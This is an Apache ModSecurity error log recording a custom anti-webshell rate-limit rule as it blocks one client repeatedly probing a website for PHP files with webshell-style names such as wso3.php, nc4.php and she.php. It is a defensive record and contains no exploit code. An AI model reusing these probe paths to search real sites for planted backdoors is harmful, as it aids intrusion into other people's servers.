[Fri Jan 02 20:39:22.245341 2026] [:error] [pid 43358:tid 43370] [client 4.189.161.129:13889] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aVe8egncbHK9auzvrA9S1gAAAco"]
[Fri Jan 02 20:39:22.597482 2026] [:error] [pid 63100:tid 63167] [client 4.189.161.129:17408] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aVe8ejuUXUKd3KTnKl9KvAAAAIY"]
[Fri Jan 02 20:39:22.865637 2026] [:error] [pid 63100:tid 63161] [client 4.189.161.129:41492] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aVe8ejuUXUKd3KTnKl9KvQAAAIA"]
[Fri Jan 02 20:39:23.391190 2026] [:error] [pid 29316:tid 29338] [client 4.189.161.129:57748] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "aVe8e9fT9ty-7jZmgf-ppQAAARQ"]
[Fri Jan 02 20:39:23.680403 2026] [:error] [pid 43358:tid 43371] [client 4.189.161.129:60646] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "aVe8ewncbHK9auzvrA9S1wAAAcs"]
[Fri Jan 02 20:39:24.020039 2026] [:error] [pid 63208:tid 63228] [client 4.189.161.129:45571] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "aVe8fHKLI9INGPLzfndEAAAAANE"]
[Fri Jan 02 20:39:24.399842 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:60620] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "aVe8fMez9k78gUs48kpWmAAAABA"]
[Fri Jan 02 20:39:24.774011 2026] [:error] [pid 63099:tid 63149] [client 4.189.161.129:57736] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ana.php"] [unique_id "aVe8fMmCZokRPYUhzvi5VQAAAE8"]
[Fri Jan 02 20:39:25.094353 2026] [:error] [pid 63208:tid 63224] [client 4.189.161.129:31527] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ana.php"] [unique_id "aVe8fXKLI9INGPLzfndEAQAAAM0"]
[Fri Jan 02 20:39:25.476270 2026] [:error] [pid 50186:tid 50198] [client 4.189.161.129:60626] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ana.php"] [unique_id "aVe8fVXqK_iX4f-S70JwcAAAAYo"]
[Fri Jan 02 20:39:25.824050 2026] [:error] [pid 63100:tid 63182] [client 4.189.161.129:57774] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ana.php"] [unique_id "aVe8fTuUXUKd3KTnKl9KvwAAAJU"]
[Fri Jan 02 20:39:26.207287 2026] [:error] [pid 63100:tid 63175] [client 4.189.161.129:13935] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aVe8fjuUXUKd3KTnKl9KwAAAAI4"]
[Fri Jan 02 20:39:26.506476 2026] [:error] [pid 63100:tid 63172] [client 4.189.161.129:60665] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aVe8fjuUXUKd3KTnKl9KwQAAAIs"]
[Fri Jan 02 20:39:26.801948 2026] [:error] [pid 63100:tid 63181] [client 4.189.161.129:45611] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aVe8fjuUXUKd3KTnKl9KwgAAAJQ"]
[Fri Jan 02 20:39:27.344228 2026] [:error] [pid 63099:tid 63140] [client 4.189.161.129:46883] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aVe8f8mCZokRPYUhzvi5WAAAAEY"]
[Fri Jan 02 20:39:27.867033 2026] [:error] [pid 29316:tid 29337] [client 4.189.161.129:46896] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVe8f9fT9ty-7jZmgf-ppwAAARM"]
[Fri Jan 02 20:39:28.203906 2026] [:error] [pid 50186:tid 50204] [client 4.189.161.129:41487] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVe8gFXqK_iX4f-S70JwcQAAAZA"]
[Fri Jan 02 20:39:28.469293 2026] [:error] [pid 50186:tid 50194] [client 4.189.161.129:45626] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVe8gFXqK_iX4f-S70JwcgAAAYY"]
[Fri Jan 02 20:39:28.781039 2026] [:error] [pid 63100:tid 63163] [client 4.189.161.129:57780] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aVe8gDuUXUKd3KTnKl9KxgAAAII"]
[Fri Jan 02 20:39:29.050700 2026] [:error] [pid 63208:tid 63215] [client 4.189.161.129:60668] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/she.php"] [unique_id "aVe8gXKLI9INGPLzfndEAwAAAMQ"]
[Fri Jan 02 20:39:29.594036 2026] [:error] [pid 63100:tid 63171] [client 4.189.161.129:46864] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/she.php"] [unique_id "aVe8gTuUXUKd3KTnKl9KxwAAAIo"]
[Fri Jan 02 20:39:29.974325 2026] [:error] [pid 63208:tid 63230] [client 4.189.161.129:13892] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/she.php"] [unique_id "aVe8gXKLI9INGPLzfndEBAAAANM"]
[Fri Jan 02 20:39:30.296174 2026] [:error] [pid 63208:tid 63216] [client 4.189.161.129:60647] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/she.php"] [unique_id "aVe8gnKLI9INGPLzfndEBQAAAMU"]
[Fri Jan 02 20:39:30.639237 2026] [:error] [pid 50046:tid 50070] [client 4.189.161.129:41472] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVe8gizv7fgIiwkQYNCq_QAAAVY"]
[Fri Jan 02 20:39:30.991760 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:45604] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVe8gsez9k78gUs48kpWmgAAABE"]
[Fri Jan 02 20:39:31.452583 2026] [:error] [pid 63208:tid 63211] [client 4.189.161.129:60638] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVe8g3KLI9INGPLzfndEBwAAAMA"]
[Fri Jan 02 20:39:31.811128 2026] [:error] [pid 50046:tid 50049] [client 4.189.161.129:46898] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVe8gyzv7fgIiwkQYNCq_wAAAUE"]
[Fri Jan 02 20:39:32.126463 2026] [:error] [pid 63099:tid 63154] [client 4.189.161.129:45621] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/excel.php"] [unique_id "aVe8hMmCZokRPYUhzvi5XwAAAFQ"]
[Fri Jan 02 20:39:32.575666 2026] [:error] [pid 50046:tid 50058] [client 4.189.161.129:17451] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/excel.php"] [unique_id "aVe8hCzv7fgIiwkQYNCrAgAAAUo"]
[Fri Jan 02 20:39:32.911438 2026] [:error] [pid 29316:tid 29318] [client 4.189.161.129:13907] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/excel.php"] [unique_id "aVe8hNfT9ty-7jZmgf-pqgAAAQA"]
[Fri Jan 02 20:39:33.370361 2026] [:error] [pid 29316:tid 29325] [client 4.189.161.129:17421] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/excel.php"] [unique_id "aVe8hdfT9ty-7jZmgf-pqwAAAQc"]
[Fri Jan 02 20:39:33.781578 2026] [:error] [pid 50186:tid 50190] [client 4.189.161.129:17460] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aVe8hVXqK_iX4f-S70JwdgAAAYI"]
[Fri Jan 02 20:39:34.129609 2026] [:error] [pid 50186:tid 50193] [client 4.189.161.129:13932] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aVe8hlXqK_iX4f-S70JweAAAAYU"]
[Fri Jan 02 20:39:34.561471 2026] [:error] [pid 50046:tid 50056] [client 4.189.161.129:60615] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aVe8hizv7fgIiwkQYNCrBAAAAUg"]
[Fri Jan 02 20:39:34.923680 2026] [:error] [pid 50046:tid 50050] [client 4.189.161.129:13901] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aVe8hizv7fgIiwkQYNCrBgAAAUI"]
[Fri Jan 02 20:39:35.203588 2026] [:error] [pid 50046:tid 50062] [client 4.189.161.129:60611] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ap.php"] [unique_id "aVe8hyzv7fgIiwkQYNCrCAAAAU4"]
[Fri Jan 02 20:39:35.570368 2026] [:error] [pid 29316:tid 29322] [client 4.189.161.129:60614] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ap.php"] [unique_id "aVe8h9fT9ty-7jZmgf-prgAAAQQ"]
[Fri Jan 02 20:39:36.093847 2026] [:error] [pid 50186:tid 50205] [client 4.189.161.129:57734] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ap.php"] [unique_id "aVe8iFXqK_iX4f-S70JweQAAAZE"]
[Fri Jan 02 20:39:36.701611 2026] [:error] [pid 63100:tid 63184] [client 4.189.161.129:17443] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ap.php"] [unique_id "aVe8iDuUXUKd3KTnKl9KzwAAAJc"]
[Fri Jan 02 20:39:37.010279 2026] [:error] [pid 63100:tid 63162] [client 4.189.161.129:41518] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/co.php"] [unique_id "aVe8iTuUXUKd3KTnKl9K0AAAAIE"]
[Fri Jan 02 20:39:37.302113 2026] [:error] [pid 63100:tid 63178] [client 4.189.161.129:46905] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/co.php"] [unique_id "aVe8iTuUXUKd3KTnKl9K0QAAAJE"]
[Fri Jan 02 20:39:37.696515 2026] [:error] [pid 63100:tid 63181] [client 4.189.161.129:60637] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/co.php"] [unique_id "aVe8iTuUXUKd3KTnKl9K1AAAAJQ"]
[Fri Jan 02 20:39:38.127629 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:60652] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/co.php"] [unique_id "aVe8isez9k78gUs48kpWnQAAAAg"]
[Fri Jan 02 20:39:38.417891 2026] [:error] [pid 50186:tid 50206] [client 4.189.161.129:17414] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVe8ilXqK_iX4f-S70JwegAAAZI"]
[Fri Jan 02 20:39:38.822365 2026] [:error] [pid 63098:tid 63109] [client 4.189.161.129:13926] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVe8isez9k78gUs48kpWngAAAAI"]
[Fri Jan 02 20:39:39.131792 2026] [:error] [pid 50186:tid 50192] [client 4.189.161.129:60663] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVe8i1XqK_iX4f-S70JwewAAAYQ"]
[Fri Jan 02 20:39:39.418392 2026] [:error] [pid 63100:tid 63163] [client 4.189.161.129:46879] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVe8izuUXUKd3KTnKl9K1wAAAII"]
[Fri Jan 02 20:39:39.808610 2026] [:error] [pid 63098:tid 63117] [client 4.189.161.129:17468] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/love.php"] [unique_id "aVe8i8ez9k78gUs48kpWoAAAAAo"]
[Fri Jan 02 20:39:40.080882 2026] [:error] [pid 50186:tid 50207] [client 4.189.161.129:45629] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/love.php"] [unique_id "aVe8jFXqK_iX4f-S70JwfgAAAZM"]
[Fri Jan 02 20:39:40.487914 2026] [:error] [pid 50186:tid 50208] [client 4.189.161.129:41501] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/love.php"] [unique_id "aVe8jFXqK_iX4f-S70JwfwAAAZQ"]
[Fri Jan 02 20:39:40.841427 2026] [:error] [pid 63099:tid 63145] [client 4.189.161.129:41495] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/love.php"] [unique_id "aVe8jMmCZokRPYUhzvi5ZAAAAEs"]
[Fri Jan 02 20:39:41.470939 2026] [:error] [pid 29316:tid 29331] [client 4.189.161.129:45583] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso3.php"] [unique_id "aVe8jdfT9ty-7jZmgf-psQAAAQ0"]
[Fri Jan 02 20:39:41.963728 2026] [:error] [pid 50186:tid 50197] [client 4.189.161.129:46884] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso3.php"] [unique_id "aVe8jVXqK_iX4f-S70JwgQAAAYk"]
[Fri Jan 02 20:39:42.366968 2026] [:error] [pid 50186:tid 50198] [client 4.189.161.129:46858] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso3.php"] [unique_id "aVe8jlXqK_iX4f-S70JwggAAAYo"]
[Fri Jan 02 20:39:42.993384 2026] [:error] [pid 63100:tid 63170] [client 4.189.161.129:45623] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wso3.php"] [unique_id "aVe8jjuUXUKd3KTnKl9K2QAAAIk"]
[Fri Jan 02 20:39:43.335100 2026] [:error] [pid 29316:tid 29328] [client 4.189.161.129:46855] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aVe8j9fT9ty-7jZmgf-pswAAAQo"]
